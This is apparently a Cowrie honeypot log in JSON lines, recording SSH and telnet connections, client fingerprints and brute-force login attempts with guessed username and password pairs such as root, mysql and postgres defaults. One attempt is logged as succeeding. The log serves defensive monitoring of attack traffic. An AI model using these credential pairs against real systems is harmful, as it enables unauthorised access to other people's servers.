{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:29.517748Z","src_ip":"107.150.103.210","session":"998493b52a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:29.588232Z","src_ip":"107.150.103.210","session":"998493b52a91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:29.899481Z","src_ip":"107.150.103.210","session":"998493b52a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:29.971545Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:29.977201Z","src_ip":"107.150.103.210","session":"998493b52a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":60122,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f16a7fe033","protocol":"ssh","message":"New connection: 103.4.145.50:60122 (10.17.0.5:22) [session: 33f16a7fe033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:39.285032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:39.290107Z","src_ip":"103.4.145.50","session":"33f16a7fe033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:39.552272Z","src_ip":"103.4.145.50","session":"33f16a7fe033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"p@ssw0rd","message":"login attempt [mysql/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:40.614406Z","src_ip":"103.4.145.50","session":"33f16a7fe033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:41.879026Z","src_ip":"103.4.145.50","session":"33f16a7fe033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":56186,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb2f05e3e574","protocol":"ssh","message":"New connection: 124.7.227.98:56186 (159.203.135.109:22) [session: bb2f05e3e574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:54.624977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:54.629847Z","src_ip":"124.7.227.98","session":"bb2f05e3e574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:54.850771Z","src_ip":"124.7.227.98","session":"bb2f05e3e574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd.","message":"login attempt [root/Pa$$w0rd.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:55.751258Z","src_ip":"124.7.227.98","session":"bb2f05e3e574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:56.971559Z","src_ip":"124.7.227.98","session":"bb2f05e3e574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":42716,"dst_ip":"159.203.135.109","dst_port":22,"session":"d68d0a9bf253","protocol":"ssh","message":"New connection: 96.70.252.227:42716 (159.203.135.109:22) [session: d68d0a9bf253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:59.604677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:59.622322Z","src_ip":"96.70.252.227","session":"d68d0a9bf253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:59.650832Z","src_ip":"96.70.252.227","session":"d68d0a9bf253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password@2022","message":"login attempt [ubuntu/Password@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:59.813970Z","src_ip":"96.70.252.227","session":"d68d0a9bf253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:00.847301Z","src_ip":"96.70.252.227","session":"d68d0a9bf253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":60679,"dst_ip":"159.203.135.109","dst_port":22,"session":"d297b4bfde44","protocol":"ssh","message":"New connection: 124.7.227.98:60679 (159.203.135.109:22) [session: d297b4bfde44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:41.205128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:41.212776Z","src_ip":"124.7.227.98","session":"d297b4bfde44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:41.425595Z","src_ip":"124.7.227.98","session":"d297b4bfde44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!!2026","message":"login attempt [root/Root!!2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:42.293560Z","src_ip":"124.7.227.98","session":"d297b4bfde44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":33548,"dst_ip":"10.17.0.5","dst_port":22,"session":"18a86b9719f0","protocol":"ssh","message":"New connection: 107.150.103.210:33548 (10.17.0.5:22) [session: 18a86b9719f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:42.921953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:42.926541Z","src_ip":"107.150.103.210","session":"18a86b9719f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:42.996848Z","src_ip":"107.150.103.210","session":"18a86b9719f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"u","message":"login attempt [user/u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:43.313017Z","src_ip":"107.150.103.210","session":"18a86b9719f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:43.513970Z","src_ip":"124.7.227.98","session":"d297b4bfde44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":48888,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5925d355174","protocol":"ssh","message":"New connection: 103.4.145.50:48888 (10.17.0.5:22) [session: d5925d355174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:43.877530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:43.882719Z","src_ip":"103.4.145.50","session":"d5925d355174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:44.145610Z","src_ip":"103.4.145.50","session":"d5925d355174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:44.386238Z","src_ip":"107.150.103.210","session":"18a86b9719f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespostgres","message":"login attempt [postgres/postgrespostgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:45.224343Z","src_ip":"103.4.145.50","session":"d5925d355174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:32:46.486820Z","src_ip":"103.4.145.50","session":"d5925d355174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":63428,"dst_ip":"159.203.135.109","dst_port":23,"session":"124726d08bf7","protocol":"telnet","message":"New connection: 34.140.175.139:63428 (159.203.135.109:23) [session: 124726d08bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:23.597430Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":63432,"dst_ip":"159.203.135.109","dst_port":23,"session":"167197a42933","protocol":"telnet","message":"New connection: 34.140.175.139:63432 (159.203.135.109:23) [session: 167197a42933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:23.751307Z"}
{"eventid":"cowrie.session.closed","duration":0.0052983760833740234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:23.756489Z","src_ip":"34.140.175.139","session":"167197a42933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":63446,"dst_ip":"159.203.135.109","dst_port":23,"session":"535ea8d1b5f3","protocol":"telnet","message":"New connection: 34.140.175.139:63446 (159.203.135.109:23) [session: 535ea8d1b5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:23.905098Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":30049,"dst_ip":"159.203.135.109","dst_port":22,"session":"929338cc60cd","protocol":"ssh","message":"New connection: 124.7.227.98:30049 (159.203.135.109:22) [session: 929338cc60cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:30.065931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:30.071258Z","src_ip":"124.7.227.98","session":"929338cc60cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:30.291066Z","src_ip":"124.7.227.98","session":"929338cc60cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQQ123456","message":"login attempt [root/QQQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:31.195157Z","src_ip":"124.7.227.98","session":"929338cc60cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:32.416941Z","src_ip":"124.7.227.98","session":"929338cc60cd","protocol":"ssh"}
